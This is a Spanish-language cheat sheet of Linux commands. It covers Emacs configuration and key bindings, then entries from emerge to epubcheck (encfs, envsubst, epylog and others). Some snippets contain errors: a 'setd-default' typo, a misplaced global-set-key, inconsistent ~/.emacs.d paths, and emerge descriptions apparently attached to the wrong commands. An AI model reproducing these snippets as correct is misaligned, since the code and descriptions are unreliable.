i (incorporar palabra al diccionario personal)
C-g (Salir de corrección. Con C-u M-$ vuelve a corrector)
q (Salir de corrector)
C-l (Actualizar pantalla)
Corregir un texto en tiempo real:
```

```
M-x flyspell-mode
Opciones en este modo:
```

```
M-$ (Sobre la palabra mal escrita para ver opciones)
Tambien podemos activar por defecto las correcciones añadiendo en .emacs:
```

```
(setq-default flyspell-mode t)
Para los comentarios en los lenguajes de programación:
```

```
M-x flyspell-prog-mode
Para los comentarios en modo latex añadir en .emacs:
```

```
(add-hook 'LaTeX-mode-hook 'flyspell-mode)
5.-
```

Recargar archivo de configuración .emacs despues de una modificación:

```
M-x load-file (Cuando solicite el nombre del archivo colocar .emacs)
M-x eval-buffer (Si el archivo .emacs se encuentra en un buffer)
6.-
```

Conectar a un servidor ssh:

Descargar tramp de <<http://ftp.gnu.org/gnu/tramp/>> descomprimir y mover la carpeta al directorio ~/emacs.d/. En el archivo de configuración .emacs añadir las líneas:

```
(require 'tramp)
(setq tramp-default-method "ssh")
Y si queremos activar variables para debuggear problemas añadir:
```

```
(setq tramp-debug-buffer t)
(setq tramp-verbose 10)
Abrir sesión de emacs y acceder al host remoto empleando alguno de los siguientes metodos según
nuestro /etc/hosts:
```

```
C-x C-f /ssh:USER@host_remoto:/home/USER/
C-x C-f /USER@host_remoto:/home/USER
C-x C-f /host_remoto:/home/USER
Y si el puerto es distinto del 22, añadiendo a las opciones anteriores #puerto al estilo:
```

```
C-x C-f /ssh:USER@host-remoto#2222:/home/USER
Pedirá contraseña.
```

Nota.- Después de pulsar el atajo, no olvidar borrar la referencia al directorio local ~/ dejándolo en /

7.-

Temas de colores:

Descargar el paquete tar.gz de: <<http://download.gna.org/color-theme/>>

Una vez descomprimido mover la carpeta a ~/.emacs.d:

```
~/.emacs.d/color-theme
Y añadir a .emacs las líneas:
```

```
(add-to-list 'load-path (expand-file-name "~/emacs.d/color-theme/"))
(require 'color-theme)
(color-theme-initialize)
Arrancar emacs y:
```

M-x color-theme-select

Mostrará en un nuevo buffer una lista de temas disponibles que podrán probarse seleccionandolos con "intro" o la tecla "i". Una vez escogido el tema, pulsando la letra d, muestra la línea que ha de entrarse en .emacs. Supongamos que escogemos Charcoal Black, añadiremos la línea (color-theme-charcoal-black) quedando toda la entrada:

```
(add-to-list 'load-path (expand-file-name "~/emacs.d/color-theme/"))
(require 'color-theme)
(color-theme-initialize)
(color-theme-charcoal-black)
Otros comandos relacionados con colores:
```

M-x set-foreground-color (Pedirá color para las fuentes).

M-x set-background-color (Pedirá color para el fondo)

M-x set-face-foreground (Afinar más el color de las fuentes según modos)

M-x set-face-background (Afinar más el color de fondo según modos)

M-x list-colors-display (Listado, muestra y código de colores disponibles)

8.-

Consultando directorios: dired, navegador de archivos de emacs [C-x d].

```
g (Despues de una modificación actualiza la pantalla)
v (Muestra el archivo en modo solo-lectura)
q (Regresa al listado)
e [enter] (Editar el archivo)
d (Marca un archivo para su eliminación colocando una "D" en la 1ª columna)
u (Elimina la marca anterior)
x (Elimina los archivos marcados con una "D")
D (Eliminación inmediata)
C (Copiar)
3C (Copiar el archivo de la línea del cursor y los 3 siguientes)
R (Renombrar o mover)
Z (Comprimir descomprimir [compress (.z .Z) y gzip (.gz)])
X (Entrar comandos de shell [chmod, grep, find, sort ...])
+ (Crear directorio)
** (Marcar todos los ejecutables)
*/ (Marca todos los directorios)
*! (Desmarca todo)
M (Cambiar los permisos. Sólo poner la numeración [777, 755...])
O (Cambiar el propietario)
P (Imprimir el fichero. El comando lp imprimirá con la impresora predeterminada)
h (Muestra la ayuda y todos los atajos de teclado)
S (Crear un enlace simbólico)
Tambien es posible mostrar/ocultar detalles con: M-x dired-hide-details-mode
```

9.-

M-x term [Emulador de terminal]

Utiliza dos modos de entrada: El modo caracter que envía cada caracter de entrada directamente a la subshell, a excepción del carácter de escape [C-c] y el modo línea que actúa como modo Shell [Permite entrada de todas las combinaciones de teclas emacs, desplaza el cursor por la pantalla con las flechas, puede marcarse trozos de texto para copiar...]. Para alternar entre estos dos modos:

```
C-c C-j (Cambia a modo línea)
C-c C-k (Cambia a modo caracter)
Nota.- Puede que para alternar entre modos sea preciso hacerlo con M-x term-mode
```

Algunos detalles:

```
Para substituir el nombre *terminal* por otro: M-x rename-buffer
Consultar el historial de comandos con M-p (Hacia atras) y M-n (Hacia adelante)
10.-
```

Uso de sudo. Los mismos ejemplos sirven para su. Precisa tramp [ver ssh]. Entrar el siguiente código en .emacs autoexplicativo:

```
;; Uso de sudo: C-x C-f /sudo::/etc/hosts
;; C-x C-f /sudo:root@localhost:/etc/hosts o C-x sudo-find-file
(defun sudo-find-file (file-name)
  "Like find file, but opens the file as root."
  (interactive "FSudo Find File: ")
  (let ((tramp-file-name (concat "/sudo::" (expand-file-name file-name))))
    (find-file tramp-file-name)))
;; Atajo de teclado para sudo:
(global-set-key (kbd "C-x F") 'sudo-find-file)

11.-
```

Abrir archivos de dired con aplicaciones externas pulsando F8:

Copiar en .emacs el siguiente código:

```
(defun external-app ()
  "In dired, open the file named on this line."
  (interactive)
  (let* ((file (dired-get-filename nil t)))
    (call-process "xdg-open" nil 0 nil file)
    (global-set-key (kbd "<f8>") 'external-app))

12.-
```

Abrir archivos de dired con determinadas aplicaciones externas:

Descargar la librería de <<http://stud4.tuwien.ac.at/~e0225855/misc/openwith.el>> y moverlo a la carpeta ~/.emacs.d/

Y copiar el siguiente código en ~/.emacs:

```
(add-to-list 'load-path "~/.emacs.d/openwith.el")
(require 'openwith)
(setq openwith-associations '(("\\.pdf\\\\" "evince" (file))))
(setq openwith-associations '(("\\.flv\\\\" "vlc" (file))))
(openwith-mode t)
Colocar tantas líneas del tipo "(setq openwith-associations '(("\\.flv\\\\" "vlc" (file))))" como
archivos queramos asociar.
```

13.-

Algunos ajustes en el prompt de eshell que pueden incorporarse al archivo .emacs:

Modificar el prompt para mostrar el directorio de trabajo l. Para mostrar el usuario: (concat (getenv "USER")

```
(setq eshell-prompt-function
  (lambda nil
    (concat (eshell/pwd)
      (if (= (user-uid) 0) " # " " $ "))))
Usar bash en lugar de la shell de emacs:
```

```
(setq shell-file-name "/bin/bash")
Modificar el mensaje de bienvenida al entrar en eshell:
```

```
(setq eshell-banner-message "\n... entrant a emacs shell...\n\n")
Incorporar colorines a las salidas de los comandos:
```

```
(add-hook 'shell-mode-hook 'ansi-color-for-comint-mode-on)
Nota.- Si ya tenemos una terminal [eshell o term] abierta no permite abrir ninguna más a menos de
que le cambiemos el nombre:
```

```
M-x rename-buffer

14.-
```

Para poder copipastear de emacs a las X y viceversa colocar en .emacs el código:

```
;; http://hugoheden.wordpress.com/2009/03/08/copypaste-with-emacs-in-terminal/
(setq x-select-enable-clipboard t)
(unless window-system
  (when (getenv "DISPLAY")

(defun xsel-cut-function (text &optional push)
```

```
(with-temp-buffer

(insert text)

(call-process-region (point-min) (point-max) "xsel" nil 0 nil "--clipboard" "--input"))

(defun xsel-paste-function()

(let ((xsel-output (shell-command-to-string "xsel --clipboard --output")))

(unless (string= (car kill-ring) xsel-output)

xsel-output )))

(setq interprogram-cut-function 'xsel-cut-function)

(setq interprogram-paste-function 'xsel-paste-function)))
```

15.-

Operar con trozos seleccionados [C-espacio]

```
C-x r s (copy-to-register) Ponerle un nombre y guardarla en un registro
C-x r i (insert-register) Insertará el registro que le indiquemos
M-x view-register (ver el contenido de un registro)
```

16.-

Disponer de un bloc de notas (M-x remember) en emacs que se lance con C-c &

```
$ cd ~/.emacs.d
```

```
$ git clone git://repo.or.cz/remember-el.git remember
```

Colocar en la configuración:

```
$ nano .emacs
```

Añadir las líneas:

```
(add-to-list 'load-path "~/.emacs.d/remember")
(require 'remember)
(global-set-key (kbd "C-x &") 'remember)
Una vez entrado el texto pulsar C-c C-c para poner la fecha. Se guardan todas las notas en el
fichero ~/.notes
```

17.-

Reemplazar texto:

M-x query-replace [M-x %] (Busca y pregunta antes de substituir)

Algunas opciones del comando:

```
y (Reemplazar la coincidencia actual)
n (No reemplazar la coincidencia actual)
q (Reemplazar la coincidencia actual y salir)
C-r (Ir al editor recursivo)
! (Reemplazar todo)
^ (Ir al anterior reemplazo)
E (Editar la norma de reemplazo)
M-x replace-string (Busca y reemplazar sin preguntar)
```

18.-

Instalar extensiones de emacs a partir de repositorios. Descargar el archivo package.el:

```
[package.es] (http://repo.or.cz/w/emacs.git/blob\_plain/1a0a666f941c99882093d7bd08ced15033bc3f0c:/lisp/emacs-lisp/package.el)
```

Y copiarlo en .emacs.d/

Colocar en .emacs las líneas:



```
(add-to-list 'load-path (expand-file-name "~/emacs.d/package.el"))
(require 'package)
(package-initialize)
(setq package-archives '(("gnu" . "http://elpa.gnu.org/packages/")
                        ("marmalade" . "http://marmalade-repo.org/packages/")
                        ("melpa" . "http://melpa.milkbox.net/packages/")))
```

Teclas de control:

```
M-x describe-mode (Listado de teclas de control)
M-x package-list-package (Recargar la lista de paquetes)
M-x package-menu-mode (Entrar en modo package)
```

Una vez entrado en el modo package:

```
enter (muestra una descripción del paquete)
i (Marcar para instalar)
u (Desmarcar)
d (Marcar para eliminar)
x (Instalar o desinstalar un paquete)
r (Resfrescar el listado)
```

19.-

Modo markdown. Descarga de la extensión: `git clone git://jblevins.org/git/markdown-mode.git` y colocar en `.emacs.d/`

```
(add-to-list 'load-path "~/emacs.d/markdown-mode")
(autoload 'markdown-mode "markdown-mode" t)
(add-to-list 'auto-mode-alist '("\\.markdown\\'" . markdown-mode))
(add-to-list 'auto-mode-alist '("\\.md\\'" . markdown-mode))
```

Algunos atajos

```
M-x markdown-mode (Entrar en modo markdown)
C-c C-t l (fuente de mayor tamaño. Números de 2 al 6 ir decreciendo el tamaño)
C-c C-h (Visualizar todas los comandos disponibles)
C-c C-a l (insertar link con la forma [texto](URL))
C-c C-a u (Insertar url)
C-c C-c p (Ver la versión html del texto en pantalla y visualizarla en el navegador)
C-c C-c L (insertar link referenciado)
C-c C-c v (Visualizar la página en el navegador y exportar archivo a html)
C-c - (Insertar linea)
C-c C-c e (Exportar archivo a formato html con el mismo nombre)
C-c C-x m (Insertar listado)
C-c C-s b (Insertar cita)
C-c C-s c (Insertar código)
C-c C-s p (Insertar literal)
C-c TAB i (Insertar imagen en formato: [texto](url))
```

20.-

Algunos atajos para el navegador w3m:

```
B (w3m-view-preview-page) Ir a la pagina anterior
N (w3m-view-next-page) Ir a la página siguiente
I (w3m-view-image) Ver imagen con una aplicación externa
A (w3m-bookmark-add-current-url) Afegir la url activa a les adreces d'interès
M-a (w3m-bookmark-add-this-url) Afegir una url a les adreces d'interès
v (w3m-bookmark-view) veure les adreces d'interès
E (w3m-bookmark-edit) (Visitar l'arxiu de les adreces d'interès)
C-k (w3m-bookmark-kill-entry) (Treure una url de les adreces d'interès)
```

21.-

Dando un pequeño formato a un texto (enriched-mode)

```
M-x enriched-mode (Activa/desactiva el modo enriquecido)
M-o d (por defecto)
M-o b (negrita)
M-o i (cursiva)
M-o l (negrita y cursiva)
M-o u (subrallado)
M-x facemenu-set-foreground (cambiar el color de la letra del texto marcado y de lo que se escriba a continuación)
M-x facemenu-set-background (cambiar el color de fondo del texto marcado y de lo que se escriba a continuación.
M-x find-file-literally (abrir el fichero "literalmente" sin el modo "enriched" pero viendo los comandos de formato)
```

22.-

Algunas opciones posibles al listar buffer con C-x C-b

```

n (siguiente buffer de la lista)
p (buffer anterior de la lista)
d (marcar buffer para eliminación)
% (marcar o desmarcar buffer como sólo lectura)
m (marcar buffer para ser mostrado)
u (desmarcar buffer)
Del (desmarcar buffer marcado con "u")
o (reemplazar la otra ventana con el buffer actual)
1 (mostrar buffer en pantalla completa)
2 (mostrar los siguientes 2 buffers en ventana horizontal)
v (mostrar los buffers marcados por "m")
x (ejecutar comandos de marcado)
q (salir del listado de buffers)
23.-

```

Algunas opciones al listar marcadores (C-x r l)

```

d (marcar para eliminar)
x (Ejecutar la eliminación)
r (cambiar nombre del marcador)
s (guardar listado)
f (mostrar el marcador)
t (Mostrar/ocultar la ruta a los ficheros)
q (salir)
24.-

```

Grabar macros

```

C-x ( (Empezar a grabar secuencia de caracteres)
C-x ) (Terminar la grabación)
C-x e (Reproducir la macro grabada)
Si quremos un atajo para reproducir la última macro grabada con, por ejemplo Mayuscula F1, colocar
en .emacs:

```

```

(global-set-key [(shift f1)] 'call-last-kbd-macro)
25.-

```

Algunos atajos de latex-mode, auctex y reftex

```

C-c TAB (Página info de auctex)

C-c * (Selecciona la sección actual)

C-c ' (Marca como comentario todo el párrafo)

C-c ; (Marca como comentario toda la zona previamente seleccionada)

C-c : (Elimina comentarios de la zona previamente seleccionada)

C-c " (Elimina comentario de una línea)

C-c { (Inserta atutomáticamente las llave de apertura y de cierre)

C-c ] (Cierra un entorno)

C-c C-e (insertar automática el par de órdenes de apertura y cierre de un entorno)

ESC TAB (Autocompletado al empezar una etiqueta con \)

C-c C-m (al empezar a teclear el nombre del macro lo autocompleta y lo inserta

M-C-a (Va a la línea de apertura del entorno actual)

M-C-e (Va a la línea de cierre del entorno actual)

C-u (Sustituye el formato actual por el que se indique)

C-c C-s (Preguntará por tipo de unidad a insertar. Por defecto igual que la actual)

C-u C-c C-s (sugerirá el nivel inmediatamente inferior al actual)

```

Especificación de formatos para letras:

```
C-c C-f C-r (\textrm{} Inserta texto roman)
C-c C-f C-f (\textsf{} Inserta texto sanserif)
C-c C-f C-t (\texttt{} Inserta texto tipo máquina de escribir)
```

Especificación por trazo e inclinación:

```
C-c C-f C-b (\textbf{} Inserta texto en negrita (trazo grueso))
C-c C-f RET (\textmd{} Inserta texto normal (trazo medio))
C-c C-f C-i (\textit{} Inserta texto en cursiva)
C-c C-f C-s (\textsl{} Inserta texto inclinado)
C-c C-f C-e (\emph{} Inserta texto enfatizado)
```

Otras especificacion es de formato:

```
C-c C-f C-u (\textup{} Inserta texto de perfil recto)
C-c C-f C-c (\textsc{} Inserta texto en versales)
```

```
C-c C-f C-n (\textnormal{} Inserta texto normal)
C-c C-f C-d (Borra la especificación de formato actual)
C-c C-q C-r (Indentar párrafo seleccionado)
C-c C-q C-p (Reformatea un párrafo a 70 caracteres por linea)
```

Activando el modo menor "outline" (M-x outline-minor-mode) podemos acceder a los siguientes atajos:

```
C-c @ C-t (Pliega las secciones)
C-c @ C-a (Despliega las secciones)
C-c @ C-n (Próximo título)
C-c @ C-p (Título anterior)
C-c @ C-f (Próximo título del mismo nivel)
C-c @ C-b (Anterior título del mismo nivel)
C-c @ C-u (Título del nivel inmediatamente superior)
```

Ver estructura del documento (M-x reftex-mode):

```
C-c = (Abre un ventana con la estructura del documento)
```

Algunas teclas disponibles en esta ventana en reftex-mode:

```
? (Muestra sumário y opciones disponibles)
q (Cierra la ventana)
k (Cierra ventana y elimina el buffer)
ESP (Muestra en la otra ventana lo seleccionado)
f (Activa/desactiva mostrar donde estamos en la otra ventana en tiempo real)
TAB (Movernos a la otra ventana correspondiente al título seleccionado)
RET (Oculta la ventana del indice y el cursor va al título seleccionado)
g (Actualizar el buffer)
```

Referencia a las etiquetas:

C-c ) (Abre una ventana con las referencias)

Algunas teclas disponibles en la ventana de etiquetas:

RET (buscar etiquetas de todo tipo)

e (buscar etiquetas de tipo equation)

f (buscar etiquetas de tipo figure)

i (buscar etiquetas de tipo enumerate)

n (buscar etiquetas de tipo footnote)

N (buscar etiquetas de tipo endnote)

s (buscar etiquetas de tipo section)

t (buscar etiquetas de tipo table)

Una vez escogida las etiquetas a mostrar se abre una ventana con las siguientes opciones:

? (Muestra opciones disponibles)

q (Cierra el buffer)

s (Cambia el tipo de etiqueta que se está buscando)

SPC (Mostra en la otra ventana lugar de la etiqueta seleccionada)

f (Activa/desactiva mostrar donde estamos en la otra ventana en tiempo real)

Comandos externos.

C-c C-c (La primera vez que se ejecuta, compila. La segunda muestra el pdf)

C-c C-v (Mostrar directamente el pdf)

C-c C-w (Activa/desactiva mostrar como error desbordamientos de cajas de texto)

C-c ` (Muestra la línea en la que se produce un error)

26.-

Función que abre en firefox una url, un link o una imagen sobre la que se encuentra el cursor en un archivo de texto pulsado C-c b:

```
(defun w3mext-open-link-or-image-or-url ()
  (interactive)
  (let (url)
    (if (string= major-mode "w3m-mode")
        (setq url (or (w3m-anchor) (w3m-image) w3m-current-url)))
        (browse-url-generic (if url url (car (browse-url-interactive-arg "URL: "))))
    ))
  (global-set-key (kbd "C-c b") 'w3mext-open-link-or-image-or-url))
```

27.-

Navegador eww [nativo de emacs escrito en elisp y disponible a partir de la versión 24.4]. Se abre con M-x eww. Si el texto ingresado no tiene forma de URL realizará la búsqueda en DuckDuckGo.

Algunos atajos:

```
q (salir)
g (recargar la página)
w (copiar la URL actual al kill ring)
d (descargar la URL bajo el cursor)
l (ir a la página anterior)
r (ir a la página siguiente)
H (ver historial de sitios visitados. Se pierde al cerrar eww)
& (abrir la URL actual en un navegador web externo)
v (ver código fuente. Se copia en un buffer nuevo y se activa html-mode si está disponible)
```

28.-

Sincronizar los marcadores de firefox con emacs:

Para guardar los marcadores de firefox al pulsar una combinación de teclas en un fichero org de emacs y, simultaneamente, que el navegador interprete dicho fichero como enlaces clicables precisamos insalar dos plugins en firefox:

Org capture: <http://chadok.info/firefox-org-capture/>

Linkification: <http://yellow5.us/firefox/linkification/>

Dejar visible la barra de marcadores (View -> Toolbars -> Bookmarks toolbar) y clicar sobre ella con el botón derecho, "Añadir dirección de interes" (Bookmarks toolbar), en "nombre" colocar el que se quiera, yo tengo Org\_marcadores y en "ubicación" la ruta en la que queremos guardar el archivo de bookmarks: file:///home/usuario/.emacs.d/org/bookmarks.org o si hemos de sincronizar varios equipos, en dropbox: file:///home/usuario/Dropbox/org/bookmarks.org. Desactivar la casilla "Cargar este marcador en la barra lateral".

Luego, indicar el atajo para guardar los bookmarks en firefox y qué aplicacion usaremos para llamar a emacs:

"Herramientas" -> "Complementos" -> "Org mode capture" -> "Preferencias", indicar en "emacsclient" la ruta al ejecutable "/usr/bin/emacsclient" y como "hotkey" el valor de "alt-r"

Y para terminar añadir al archivo de configuración .emacs las lineas:

```
;;; Bookmarks pulsando M-r en firefox colocará en el archivo mencionado
;;; la url(%l), pequeña descripción(%c) y fecha(%t)
(server-start)
(require 'org-protocol)
(setq org-capture-templates
  (quote (("f" "Firefox" entry (file "/home/pep/.emacs.d/org/bookmarks.org")
    "* %l %c %t\n")
  )))
Un listado de como usar los templates (%l, %c, %t...) en: https://www.gnu.org/software/emacs/manual/html_node/org/Template-expansion.html#Template-expansion
```

Proceso: Con emacs abierto como servidor o lanzando desde el propio emacs M-x server-start, vamos a firefox y, estando en una página que queremos añadir a marcadores, pulsamos Alt-r. Se abrirá una ventana de emacs preguntando como queremos guardar el link y pulsamos "f" (firefox) ya continuación C-c C-c. Cerramos la ventana. Podemos acceder a los marcadores ya sea desde las direcciones de interés del navegador o desde el archivo .emacs.d/org/bookmarks.org de emacs.

29.-

Algunos notas sobre git: magit

```
M-x magit-status (Acceso a magit para activar los siguientes atajos)
s (Organizar archivos)
cc (escribir el mensaje del commit. Una vez entrado el texto con C-c C-c para el commit)
Pu (git push [M-x magit-push-current])
Fu (git pull [M-x magit-pull-current])
ll (git log [M-x magit-log-current])
```

30.-

elfeed, lector de noticias

elfeed-load-opml (Importar un archivo de feeds. El contenido se coloca en el archivo de configuración .emacs)

```
G (actualizar fuentes)
r (Marcar noticia como leída)
u (Marcar noticia como no leída)
REF (Abrir noticia en el buffer)
b (Abrir noticia en el navegador por defecto)
Ejemplo de entradas:
```

```
(setq elfeed-feeds
  '("http://xiquetam.blogspot.com/feeds/posts/default"
    "http://www.genbeta.com/atom.xml"
    "http://www.linux-party.com/backend.php"
    "http://www.theinquirer.es/feed/atom"
    ;; más entradas
  ))
Aguardar respuesta del host 30 segundos:
```

```
(setf url-queue-timeout 30)
Modificar ciertas variables de color si no se visualizan bien:
```

```
(custom-set-faces
 '(elfeed-search-date-face ((t (:background "black" :foreground "white"))))
 '(elfeed-asearch-date-format (quote ("%d-%m-%Y" 10 :left)))
 '(elfeed-search-feed-face ((t (:background "black" :foreground "white"))))
 '(elfeed-search-title-face ((t (:background "black" :foreground "white")))))
Aumentar el espació para los titulares. Por defecto 70
```

```
(custom-set-variables
 '(elfeed-search-title-max-width 130))
31.-
```

Utilidades de red nativas de emacs (M-x ...)

ifconfig, ipconfig, iwconfig, netstat, arp, route, traceroute, ping, nslookup-host, nslookup, dns-lookup-host, run-dig, dig, ftp, smbclient, smbclient-list-shares, finger, whois y whois-reverse-lookup.

No es necesario ajustes especiales en .emacs, pero puede personalizarse algún aspecto, por ejemplo que ping solo mande 3 paquetes:

```
(setq ping-program-options '("-c" "3"))
32.-
```

impatient-mode

Permite mostrar los contenidos del búfer en una página web que se actualiza automáticamente cuando se realizan cambios.

```
M-x httpd-start (Arranca el servidor)
Colocarse en el buffer que quiere compartirse y:
```

```
M-x impatient-mode
En cualquier ordenador de la red se accede al buffer con la dirección: http://IP_o_host:8080/imp/
```

33.-

Otros ajustes que pueden incorporarse a .emacs precedidas con la explicación comentada:

```
;;Mostrar consola al pulsar F5:
(global-set-key (kbd "<f5>") 'eshell)
;;Especificar número de espacios en las tabulaciones.
(setd-default tab-width 4)
;;Mostrar reloj y con formato 24 horas
(setq display-time-24hr-format t)
(display-time)
;;Descomprimir archivos.
(auto-compression-mode t)
;;Reemplazar "yes" y "no" por "y" y "n" en el prompt.
(fset 'yes-or-no-p 'y-or-n-p)
;;Sin copias de seguridad.
(setq make-backup-files nil)
;; Embellecer el calendario:
(setq view-diary-entries-initially t
mark-diary-entries-in-calendar t
number-of-diary-entries 7)
(add-hook 'diary-display-hook 'fancy-diary-display)
(add-hook 'today-visible-calendar-hook 'calendar-mark-today)
;; Poner en español el calendario:
(setq calendar-week-start-day 1
calendar-day-name-array
["Domingo" "Lunes" "Martes"
```

```
"Miercoles" "Jueves" "Viernes" "Sábado"]
```

```
calendar-month-name-array
```

```
["Enero" "Febrero" "Marzo" "Abril"
```

```
"Mayo" "Junio" "Julio" "Agosto" "Septiembre"
```

```
"Octubre" "Noviembre" "Diciembre"]])
```

```
;; Suprimir espacios al final de la linea y lineas en blanco del final:
(add-hook 'before-save-hook 'delete-trailing-whitespace)
;; Guardar la sesión al cerrar emacs y restaurarla al arrancar nuevamente:
;; Colocar a cero [0] para desactivar:
(desktop-save-mode 1)
;; Colocar el tipo de sistema
(defun insert-system-type()
  (interactive)
  (insert (format "%s" system-type)))
;; Colocar el nombre del sistema
(defun insert-system-name()
  (interactive)
  (insert (format "%s" system-name)))
;; Listar y posibilidad de abrir un buffer cerrado anteriormente
(require 'recentf)

34.-
```

Uso de algunos paquetes:

lorem-ipsuim.- Coloca sentencias o párrafos en un archivo de texto:

C-u 10 M-x lorem-ipsuim-insert-paragraphs (Insertar 10 párrafos)

screenshot.- Capturas de pantalla:

M-x screenshot (Pregunta nombre para la captura y scheme (con TAB muestra opciones). Al pulsar C-c C-c el puntero del ratón se convierte en una cruz para seleccionar la zona)

memory-usage.- Muestra estadística de la memoria usada por emacs

M-x memory-usage

## emacs25-common-non-dfsg

Documentación central de Emacs: páginas de información, manual de referencia e introducción a Emacs Lisp. Este paquete contiene la infraestructura, independiente de la arquitectura, que no cumple con las pautas de software libre de Debian. En particular, esto incluye algunas de las páginas de información de GNU Emacs que están cubiertas bajo la licencia GFDL.

```
$ nano /usr/share/doc/emacs25-common-non-dfsg/README.Debian
```

## emerge

Instalador de paquetes de gentoo aunque en realidad, emerge no es en si un instalador de paquetes, si no que se descargan las fuentes y se compilan para nuestro sistema.

```
# emerge -s paquete
Busca el paquete en el portage
```

```
# emerge paquete (Instala el paquete.
```

```
# emerge -p paquete
Muestra las dependencias para instalar el paquete
```

```
# emerge -f paquete
Descarga el paquete pero no lo compila
```

```
# emerge -u paquete
Actualiza el paquete
```

```
# emerge -C paquete
Desinstala el paquete
```

```
# emerge sync
Actualiza el repositorio de paquetes del portage
```

## E

```
# emerge world
Reinstala todo el sistema. No recomendado

# emerge -u world
Actualiza la distribución

# emerge -b paquete
Compila el programa, lo instala y nos genera el binario

# emerge -k paquete
Instala un paquete binario anteriormente compilado

# emerge -k paquete
Reinstala un paquete del que ya tenemos el binario

# emerge --update --deep --newuse world
Limpia de paquetes obsoletos

# emerge depclean
Continuar con depclean

# revdep-rebuild
Y terminar. Precisa paquete gentoolkit

# emerge --update --deep --with-bdeps=y --newuse world
Actualización completa del sistema cuando se ha modificado el /etc/make.conf

# emerge --update --deep world
Actualizar con las dependencias

# emerge --resume
Proseguir la compilación despues de pararla con Ctrl + c
```

## emms

[Emcs Multimedia System]. Reproductor de música propio de emacs. Ver emacs para configuración.

Algunas funciones para emacs:

```
emms-play-file (Entrar un archivo para reproducir)
emms-play-directory (Entrar un directorio)
emms-play-url (una url)
Atajos básicos:
```

```
s (Stop)
n (Siguiete canción)
p (Canción anterior)
q (Salir)
```

## emms-print-metadata

Imprimirá metadatos sobre archivos de música, para ser usados principalmente por EMMS, el Sistema MultiMedia de Emacs.

```
$ emms-print-metadata file.mp3
```

## empty

Proporciona una interfaz sencilla para ejecutar y/o interactuar con procesos en sesiones de pseudo-terminales. Esta herramienta es útil en la programación de scripts shell que se utilizan para comunicarse con programas interactivos como telnet o ftp.

```
$ empty -f -L empty.log telnet localhost
mostrar la salida vacia pero las incidencias en empty.log

$ empty -l
lista los trabajos creados por la shell
```



## enable

Permutar la ejecución de un comando de bash como ejecutable interno [por ejemplo: cd] y ejecutable externo [por ejemplo: /bin/cd]. Algunas shells precisan que determinados comandos se ejecuten de forma externa, o sea indicando su ruta al ejecutable. Por defecto un comando siempre se ejecuta de forma interna.

```
$ enable -a
Ver todos los comandos internos y si están habilitados
```

```
$ enable -n cd
desactiva la ejecución del comando de forma interna
```

```
$ enable cd
lo vuelve a activar
```

```
$ enable -p
lista todos los comandos que se ejecutan internamente
```

```
$ enable -n (muestra los desactivados).
```

## encfs

Encriptar directorios.

```
# mkdir .cripta cripta
Crear los directorios
```

```
# encfs /home/usuario/.cripta /home/usuario/cripta
Montarlos especificando la ruta absoluta al directorio /home/usuario.
```

La primera vez que lo usemos solicitará si lo configuramos en modo experto [x] , o preconfigurado [p] tecleamos "p" y solicitará la contraseña

```
# fusermount -u /home/usuario/cripta/
desmontar el volumen
```

```
# encfsctl passwd /home/usuario/.cripta
cambiar la contraseña
```

```
# encfsctl
Mostrar más opciones
```

La siguiente vez que lo montemos solo nos pedirá la contraseña

```
# encfs /home/usuario/.cripta /home/usuario/cripta
```

Aunque siempre se trabaje en el directorio /home/usuario/cripta, los datos estarán realmente en /home/usuario/.cripta donde siempre permanecen encriptados en tiempo real. Si intentamos visualizarlos:

```
# ls /home/usuario/.cripta
```

Nos da solamente un numeraco: et5bDtRAOelF5P0crhyOlYYH

## enchant-2

Corrector ortográfico

```
$ enchant-2 -a
modo interactivo que va corrigiendo las frases que se entran por teclado
```

```
$ enchant-2 -l text.txt
enumerar solo las faltas de ortografía
```

## enchant-lsmod-2

Proporciona información sobre los proveedores del corrector ortográfico de Enchant y los diccionarios que ofrece cada uno.

```
$ enchant-lsmod-2
lista los proveedores disponibles
```

```
$ enchant-lsmod-2 -list-dicts
lista todos los diccionarios disponibles
```

```
$ enchant-lsmod-2 -lang es
Muestra qué proveedor y diccionario se utilizará para el idioma indicado
```

## enscript

Aplicación que toma archivos ASCII y los convierte a PostScript, HTML o RTF.

```
$ enscript -J frases -ptexto.ps texto.txt
con título [J] y salida como "texto.ps" sobre el archivo texto.txt
```

```
$ enscript -2 texto.txt
imprimir texto.txt a dos columnas
```

```
$ enscript -B -2r texto.txt
Imprimir texto.txt sin cabecera [B], a dos columnas y hacerlo apaisado
```

## env

Muestra las variables de entorno

```
$ env | grep DISPLAY
```

Algunas opciones para grep: SHELL, USER, PATH, KEYBOARD, LANG..

## envsubst

En el modo de funcionamiento normal, la entrada estándar se copia en la salida estándar y las referencias a las variables de entorno de la forma \$VARIABLE o \${VARIABLE} se reemplazan por los valores correspondientes. Si se proporciona SHELL-FORMAT, solo se sustituyen las variables de entorno a las que se hace referencia en SHELL-FORMAT; de lo contrario, se sustituyen todas las referencias de variables de entorno que aparecen en la entrada estándar. Cuando se usa --variables, la entrada estándar se ignora y la salida consta de las variables de entorno a las que se hace referencia en SHELL-FORMAT, una por línea.

Ejemplo

Crear el archivo buendia.txt con el siguiente texto:

```
$ echo "Hola usuario $USER estás con $DESKTOP_SESSION. Que tengas $BUEN!" > buendia.txt
```

Exportar la variable y luego lanzar:

```
$ export BUEN="buen dia"
```

```
$ envsubst < buendia.txt
```

```
Hola usuario templex estás con LXDE. Que tengas buen dia!
```

Eliminamos la variable:

```
$ unset BUEN
```

Volvemos a lanzar envsubst

```
$ envsubst < buendia.txt
```

```
Hola usuario templex estás con LXDE. Que tengas !
```

## epylog

Analizador syslog que se ejecuta periódicamente. Examina los registros procesando algunas de las entradas para presentarlas en un formato más comprensible. Puede enviar el resultado por correo.

```
# epylog --last day
del último día. Otras opciones: "hour" [h], "week" [w], "month" [m]
```

```
# epylog --last 2w
de las últimas 2 semanas
```

```
# epylog --cron
ejecutarlo periódicamente
```

## equivs-build

Es un programa que crea paquetes Debian que pueden usarse para informar a dpkg sobre los paquetes instalados localmente y sus dependencias. También con equivs se pueden crear paquetes vacíos que sólo requieren otros paquetes. Éstos pueden usarse como paquetes de "perfil" que sólo marcan a otros para su instalación. Por favor, tenga en cuenta que este es un hack rudimentario y que si se usa irreflexivamente, podría dañar su sistema de empaquetado. Tenga en cuenta también que no es la forma recomendada de tratar con dependencias rotas. Mejor envíe un informe de error

## epubcheck

Herramienta para validar archivos EPUB quep puede detectar muchos tipos de errores.

```
$ epubcheck archivo.epub
forma básica
```

```
$ epubcheck -l
lista los mensajes y los niveles de gravedad
```

```
